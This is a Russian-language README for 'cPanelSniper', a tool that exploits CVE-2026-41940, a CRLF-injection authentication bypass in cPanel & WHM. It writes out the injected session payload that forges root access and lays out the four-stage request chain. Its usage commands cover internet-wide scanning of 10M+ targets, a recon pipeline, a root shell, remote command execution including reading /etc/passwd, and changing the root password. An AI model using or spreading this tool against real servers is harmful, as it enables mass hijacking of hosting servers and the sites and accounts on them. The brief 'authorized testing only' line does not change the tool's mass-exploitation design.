
cPanelSniper STABLE — CVE-2026-41940, оптимизирован для 10M+ целей
CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файл сессии
Цепочка эксплойта из 4 этапов · Интерактивная WHM-оболочка · СТАБИЛЬНО для 10M+ целей · Нулевое использование памяти · только stdlib
cPanelSniper — это специализированный фреймворк для эксплуатации CVE-2026-41940, критической уязвимости обхода аутентификации, затрагивающей cPanel & WHM. Уязвимость позволяет неаутентифицированным удалённым атакующим получить root-доступ к WHM путём внедрения CRLF-последовательностей в файл сессии через HTTP-заголовок Authorization — без каких-либо действительных учётных данных.
Только для авторизованного тестирования на проникновение и программ bug bounty.
Эта версия оптимизирована для сканирования 10 000 000+ целей с НУЛЕВЫМ использованием памяти.
| Проблема | Оригинальная версия | Исправленная версия |
|---|---|---|
| Использование памяти | Загружает все цели в ОЗУ | Потоковая обработка целей построчно (0 памяти) |
| 10M целей | OOM → Убит ❌ | Завершается успешно ✅ |
| Возобновление | Не поддерживается | Флаг --resume |
| Прогресс | Нет ETA | ETA в реальном времени + скорость + статистика |
| Результаты | Сохраняются только в конце | Сохраняются каждые 60 с (настраивается) |
--resumesubfinder, httpx, shodanКорневая причина находится в Session.pm: функция saveSession() вызывает filter_sessiondata() после записи файла сессии на диск. Это означает, что CRLF-символы, встроенные в значение заголовка Authorization: Basic, записываются дословно в файл сессии, внедряя контролируемые атакующим поля до санитизации.
Нормальный поток:
POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации
Уязвимый поток:
POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл
Значение Authorization: Basic декодируется в:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Эти поля записываются непосредственно в файл сессии на диске. При обратном чтении cPanel обрабатывает сессию как полностью аутентифицированную root-сессию.
┌─────────────────────────────────────────────────────────────┐
│ Этап 0 — Обнаружение канонического имени хоста │
│ GET /openid_connect/cpanelid → 307 → реальное имя хоста │
├─────────────────────────────────────────────────────────────┤
│ Этап 1 — Создание preauth-сессии │
│ POST /login/?login_only=1 (неверные учётные данные) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Этап 2 — CRLF-инъекция │
│ GET / + Cookie: session + Authorization: Basic <нагрузка> │
│ cpsrvd записывает CRLF-поля в файл сессии │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Этап 3 — Распространение (гаджет do_token_denied) │
│ GET /scripts2/listaccts │
│ Триггер сброса raw→cache — внедрённые поля активируются │
│ ← 401 Token denied (ожидаемо) │
├─────────────────────────────────────────────────────────────┤
│ Этап 4 — Проверка root-доступа к WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = ВЗЛОМАН │
└─────────────────────────────────────────────────────────────┘
| Ветка | Уязвимая | Исправленная |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
Установка pip не требуется. Только чистый Python 3.8+ stdlib.
# Одиночная цель — только сканирование
python3 cPanelSniper.py -u https://target.com:2087
# Одиночная цель — интерактивная оболочка после обхода
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Большой список целей — 10M+ целей (СТАБИЛЬНО)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Возобновление прерванного сканирования
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Список всех учётных записей cPanel на сервере
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Выполнение OS-команды
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Получение информации о сервере (имя хоста, нагрузка, диск, MySQL host)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Получение версии cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Смена пароля root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Интерактивная WHM-оболочка
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → сохранение в файл → сканирование 10M+ целей
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json